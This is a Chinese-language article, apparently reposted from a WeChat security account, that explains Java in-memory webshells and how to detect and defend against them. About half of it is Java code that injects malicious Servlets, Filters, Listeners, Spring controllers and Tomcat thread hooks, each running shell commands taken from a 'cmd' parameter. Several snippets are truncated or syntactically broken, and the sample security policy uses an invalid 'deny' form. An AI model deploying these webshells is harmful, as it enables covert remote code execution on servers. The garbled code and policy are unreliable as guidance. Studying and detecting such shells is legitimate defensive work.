《一文看懂内存马》

admin 2025年5月18日20:23:51评论3 views字数 14078阅读46分55秒阅读模式

关于我:资深IT专家,AI布道者,15年实战老兵+多本专业图书作者+大厂技术面试官。

什么是内存马

内存马(Memory Webshell)是一种特殊的Webshell变种,它不以文件形式存在于磁盘上,而是直接注入到Java Web应用的运行时内存中,通过劫持或修改Web容器的组件来实现持久化控制,从而规避传统的基于文件系统的安全检测。

内存马具有以下特点:

  • 不写入磁盘,难以被文件监控系统发现
  • 服务器重启后会消失(非持久化)
  • 难以通过常规方法检测和清除
  • 可以绕过Web应用防火墙(WAF)的检测

内存马的产生,是因为Java Web应用通常基于Servlet规范,来管控生命周期。它的组件构成有:

     * 1. Web容器 (如Tomcat, Jetty, WebLogic)
     *    - 负责管理整个Web应用的生命周期
     *    - 提供HTTP请求处理能力
     *    - 管理Servlet, Filter, Listener等组件
     *
     * 2. Servlet容器
     *    - 管理所有Servlet实例
     *    - 负责请求分发和处理
     *
     * 3. Web组件(内存马注入重点组件)
     *    - Servlet: 处理HTTP请求的核心组件
     *    - Filter: 请求过滤器,可以拦截和修改请求/响应
     *    - Listener: 监听器,监听容器事件
     *    - Valve(Tomcat特有): 请求处理管道中的组件
     *
     * 4. 应用上下文
     *    - ServletContext: 整个Web应用的上下文
     *    - Session: 用户会话

内存马就是采用上述组件的方式,注入到Java Web应用中,常见的注入点包括:

     * 1. Servlet
     *    - 动态注册新的恶意Servlet
     *    - 修改已有Servlet的行为
     *
     * 2. Filter
     *    - 动态注册新的恶意Filter
     *    - 修改已有Filter的过滤链
     *
     * 3. Listener
     *    - 动态注册新的恶意Listener
     *    - 监听请求和会话事件
     *
     * 4. Valve(Tomcat)
     *    - 向Tomcat的Pipeline中注入恶意Valve
     *
     * 5. Spring Controller
     *    - 动态注册新的Controller
     *    - 修改RequestMappingHandlerMapping
     *
     * 6. 线程
     *    - 创建恶意后台线程

内存马的类型

根据不同的Web应用框架和实现机制,内存马可以分为多种类型:

1. Servlet型内存马

在Java Servlet容器(如Tomcat)中,通过动态注册ServletContext来实现:

public class ServletMemoryShell {
    public static void inject(HttpServletRequest request) throws Exception {
        // 获取ServletContext
        ServletContext servletContext = request.getSession().getServletContext();

        // 通过反射获取ApplicationContext
        Field appContextField = servletContext.getClass().getDeclaredField("context");
        appContextField.setAccessible(true);
        ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);

        // 获取StandardContext
        Field standardContextField = appContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(appContext);

        // 创建恶意Servlet
        Servlet evilServlet = new Servlet() {
            @Override
            public void init(ServletConfig config) {}

            @Override
            public ServletConfig getServletConfig() { return null; }

            @Override
            public void service(ServletRequest req, ServletResponse res) throws IOException {
                String cmd = req.getParameter("cmd");
if (cmd != null) {
                    InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    byte[] bytes = new byte[1024];
                    int len;
while ((len = in.read(bytes)) != -1) {
                        res.getOutputStream().write(bytes, 0, len);
                    }
                }
            }

            @Override
            public String getServletInfo() { return""; }

            @Override
            public void destroy() {}
        };
    }
}

2. Filter型内存马

通过动态注册Filter到FilterChain中:

public class FilterMemoryShell {
    public static void inject(HttpServletRequest request) throws Exception {
        // 获取ServletContext
        ServletContext servletContext = request.getSession().getServletContext();

        // 反射获取StandardContext
        Field appContextField = servletContext.getClass().getDeclaredField("context");
        appContextField.setAccessible(true);
        ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);

        Field standardContextField = appContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(appContext);

        // 创建恶意Filter
        Filter evilFilter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) {}

            @Override
            public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
                    throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) request;
                HttpServletResponse res = (HttpServletResponse) response;

                String cmd = req.getParameter("cmd");
if (cmd != null) {
                    InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    byte[] bytes = new byte[1024];
                    int len;
while ((len = in.read(bytes)) != -1) {
                        res.getOutputStream().write(bytes, 0, len);
                    }
                } else {
                    chain.doFilter(request, response);
                }
            }

            @Override
            public void destroy() {}
    }
}

3. Listener型内存马

通过动态注册ServletContextListener

public class ListenerMemoryShell {
    public static void inject(HttpServletRequest request) throws Exception {
        // 获取ServletContext
        ServletContext servletContext = request.getSession().getServletContext();

        // 反射获取StandardContext
        Field appContextField = servletContext.getClass().getDeclaredField("context");
        appContextField.setAccessible(true);
        ApplicationContext appContext = (ApplicationContext) appContextField.get(servletContext);

        Field standardContextField = appContext.getClass().getDeclaredField("context");
        standardContextField.setAccessible(true);
        StandardContext standardContext = (StandardContext) standardContextField.get(appContext);

        // 创建恶意Listener
        ServletRequestListener evilListener = new ServletRequestListener() {
            @Override
            public void requestDestroyed(ServletRequestEvent sre) {}

            @Override
            public void requestInitialized(ServletRequestEvent sre) {
                HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
                HttpServletResponse res = null;

                try {
                    // 尝试获取当前请求的HttpServletResponse
                    Field requestField = req.getClass().getDeclaredField("request");
                    requestField.setAccessible(true);
                    Object request = requestField.get(req);

                    Field responseField = request.getClass().getDeclaredField("response");
                    responseField.setAccessible(true);
                    res = (HttpServletResponse) responseField.get(request);

                    String cmd = req.getParameter("cmd");
if (cmd != null) {
                        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                        byte[] bytes = new byte[1024];
                        int len;
    }
}

4. Spring框架内存马

基于Spring MVC的Controller型内存马:

public class SpringControllerMemoryShell {

    public static void inject(HttpServletRequest request) throws Exception {
        WebApplicationContext context = WebApplicationContextUtils
                .getRequiredWebApplicationContext(request.getServletContext());

        // 获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

        // 获取私有字段mappingRegistry
        Field mappingRegistryField = mapping.getClass().getDeclaredField("mappingRegistry");
        mappingRegistryField.setAccessible(true);
        Object mappingRegistry = mappingRegistryField.get(mapping);

        // 创建恶意Controller类
        Class<?> handlerClass = new ByteBuddy()
                .subclass(Object.class)
                .name("EvilController")
                .defineMethod("execCommand", String.class, Modifier.PUBLIC)
                .withParameters(String.class)
                .intercept(FixedValue.value("Command executed"))
                .annotateMethod(AnnotationDescription.Builder.ofType(RequestMapping.class)
                        .defineArray("value", new String[]{"/evil"}).build())
                .annotateParameter(AnnotationDescription.Builder.ofType(RequestParam.class)
                        .define("value""cmd").build())
                .make()
                .load(Thread.currentThread().getContextClassLoader())
                .getLoaded();

        // 创建Controller实例
        Object handlerInstance = handlerClass.getDeclaredConstructor().newInstance();

        // 创建RequestMappingInfo
        Method method = handlerClass.getDeclaredMethod("execCommand", String.class);
        RequestMappingInfo mappingInfo = RequestMappingInfo
                .paths("/evil")
                .methods(RequestMethod.GET)
                .build();

    }
}

5. Tomcat线程内存马

通过修改Tomcat的线程执行逻辑:

public class ThreadMemoryShell {
    public static void inject() throws Exception {
        // 获取当前线程组
        ThreadGroup group = Thread.currentThread().getThreadGroup();

        // 获取线程组中的线程
        Thread[] threads = new Thread[group.activeCount()];
        group.enumerate(threads);

for (Thread thread : threads) {
            // 寻找Tomcat工作线程
if (thread.getName().contains("Connector"
                    || thread.getName().contains("worker"
                    || thread.getName().contains("http")) {
                try {
                    // 获取线程的Runnable目标
                    Field targetField = Thread.class.getDeclaredField("target");
                    targetField.setAccessible(true);
                    Object target = targetField.get(thread);

                    // 使用Javassist修改线程执行逻辑
                    ClassPool pool = ClassPool.getDefault();

                    // 添加应用类加载器路径
                    ClassLoader cl = thread.getContextClassLoader();
                    pool.insertClassPath(new LoaderClassPath(cl));

                    // 获取并修改目标类
                    CtClass ctClass = pool.get(target.getClass().getName());

                    // 在run方法开始处插入恶意代码
                    CtMethod runMethod = ctClass.getDeclaredMethod("run");
                    runMethod.insertBefore(
"javax.servlet.http.HttpServletRequest req = null;" +
"javax.servlet.http.HttpServletResponse res = null;" +
"try {" +
"    org.apache.coyote.Request coyoteReq = null;" +
"    java.lang.reflect.Field requestField = this.getClass().getDeclaredField("request");" +
    }
}

内存马检测与防御

1. 内存马检测方法

Java代理检测 : 通过Java Agent技术监控关键类的加载和修改:

public class MemoryShellDetectorAgent {

    public static void premain(String args, Instrumentation inst) {
        // 注册Class转换器
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, 
                                   Class<?> classBeingRedefined,
                                   ProtectionDomain protectionDomain, 
                                   byte[] classfileBuffer) {
                // 监控Servlet和Filter的注册
if (className.contains("ServletContext") || 
                    className.contains("FilterChain") ||
                    className.contains("ApplicationContext")) {
                    System.out.println("[ALERT] Class " + className + " is being modified");

                    // 记录调用栈
                    new Exception("Stack trace").printStackTrace();
                }
return null;  // 不修改类
            }
        });

        // 监控Runtime.exec和ProcessBuilder调用
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, 
                                   Class<?> classBeingRedefined,
                                   ProtectionDomain protectionDomain, 
                                   byte[] classfileBuffer) {
if ("java/lang/Runtime".equals(className) || 
"java/lang/ProcessBuilder".equals(className)) {
                    try {
                        ClassPool cp = ClassPool.getDefault();
                        CtClass cc = cp.get(className.replace('/''.'));

if ("java/lang/Runtime".equals(className)) {
                            CtMethod execMethod = cc.getDeclaredMethod("exec"
                                                    new CtClass[]{cp.get("java.lang.String")});

                            execMethod.insertBefore(
"System.out.println("[ALERT] Runtime.exec called with: " + $1);" +
"new Exception("Runtime.exec stack trace").printStackTrace();"
                            );
                        } else {
                            CtMethod startMethod = cc.getDeclaredMethod("start");

                            startMethod.insertBefore(
"System.out.println("[ALERT] ProcessBuilder.start called");" +
"new Exception("ProcessBuilder.start stack trace").printStackTrace();"
                            );
                        }

return cc.toBytecode();
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
return null;
            }
        });
    }
}

JVM内存分析

使用JVM工具分析内存中的可疑类和对象:

public class MemoryAnalyzer {
    public static void analyze() throws Exception {
        // 获取所有加载的类
        Class<?>[] loadedClasses = getLoadedClasses();

        // 检查可疑的动态生成类
for (Class<?> clazz : loadedClasses) {
if (clazz.getName().contains("CGLIB") || 
                clazz.getName().contains("Proxy") ||
                clazz.getName().contains("ByteBuddy")) {

                System.out.println("[SUSPICIOUS] Dynamic generated class: " + clazz.getName());

                // 检查类方法
for (Method method : clazz.getDeclaredMethods()) {
                    System.out.println("  - Method: " + method.getName());

                    // 检查方法中的可疑代码
                    try {
                        byte[] bytecode = getBytecode(clazz);
if (containsSuspiciousCode(bytecode)) {
                            System.out.println("    [ALERT] Contains suspicious code!");
                        }
                    } catch (Exception e) {
                        // 忽略
                    }
                }
            }
        }

        // 检查Servlet容器组件
        checkTomcatComponents();
    }

    private static Class<?>[] getLoadedClasses() throws Exception {
        // 获取所有已加载的类
        Field f = ClassLoader.class.getDeclaredField("classes");
        f.setAccessible(true);

        Vector<Class<?>> classes = (Vector<Class<?>>) f.get(ClassLoader.getSystemClassLoader());
return classes.toArray(new Class<?>[0]);
    }

    private static byte[] getBytecode(Class<?> clazz) throws Exception {
        // 获取类的字节码
        String className = clazz.getName();
        String classAsPath = className.replace('.''/') + ".class";
        InputStream stream = clazz.getClassLoader().getResourceAsStream(classAsPath);

if (stream == null) {
            throw new Exception("Cannot find class file");
        }

        byte[] data = new byte[stream.available()];
        stream.read(data);
return data;
    }

    private static boolean containsSuspiciousCode(byte[] bytecode) {
        // 检查字节码中的可疑特征
        String code = new String(bytecode);
return code.contains("Runtime.exec") || 
               code.contains("ProcessBuilder") ||
               code.contains("InputStream") ||
               code.contains("getOutputStream");
    }

    private static void checkTomcatComponents() {
        try {
            // 获取Tomcat StandardContext
            // 这需要根据具体环境调整
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Class<?> standardContextClass = cl.loadClass("org.apache.catalina.core.StandardContext");

            // 反射获取所有StandardContext实例
            // 这里简化处理,实际情况可能需要更复杂的方法
            Field f = standardContextClass.getDeclaredField("instances");
            f.setAccessible(true);
            List<?> contexts = (List<?>) f.get(null);

for (Object context : contexts) {
                // 检查Servlets
                Method getServletsMethod = standardContextClass.getDeclaredMethod("getServlets");
                getServletsMethod.setAccessible(true);

                // 检查Filters
                Method getFiltersMethod = standardContextClass.getDeclaredMethod("getFilters");
                getFiltersMethod.setAccessible(true);

                // 检查Listeners
                Method getListenersMethod = standardContextClass.getDeclaredMethod("getApplicationEventListeners");
                getListenersMethod.setAccessible(true);

                // 分析结果
                // ...
            }
        } catch (Exception e) {
            // 忽略异常
        }
    }
}

2. 内存马防御方法

配置Java SecurityManager限制敏感操作:

// 启动参数
// java -Djava.security.manager -Djava.security.policy=app.policy

// app.policy内容示例
grant {
    // 限制只能执行特定命令
    permission java.io.FilePermission "/usr/bin/ls""execute";

    // 限制只能访问特定目录
    permission java.io.FilePermission "/app/-""read,write";

    // 禁止使用反射修改类
    permission java.lang.reflect.ReflectPermission "suppressAccessChecks""deny";

    // 禁止使用ClassLoader加载类
    permission java.lang.RuntimePermission "createClassLoader""deny";
};

更多内容,请访问知识星球阅读,本文为《Java代码审计手册精华版》内容节选。部分目录如下:

《一文看懂内存马》
《一文看懂内存马》

✅ 更多安全架构相关知识,请关注视频号和知识星球

《一文看懂内存马》

✅ 推荐阅读AI智能体产品MCP架构与运维安全检查清单

《100个渗透测试技巧,能看懂一半已经是高手》 (上)
网络安全工程师的结局
一些二线城市的安全招聘(吐槽来这里集合)
API接口安全:现代互联网安全基础

原文始发于微信公众号(BurpSuite实战教程):《一文看懂内存马》

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月18日20:23:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   《一文看懂内存马》https://cn-sec.com/archives/4076535.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息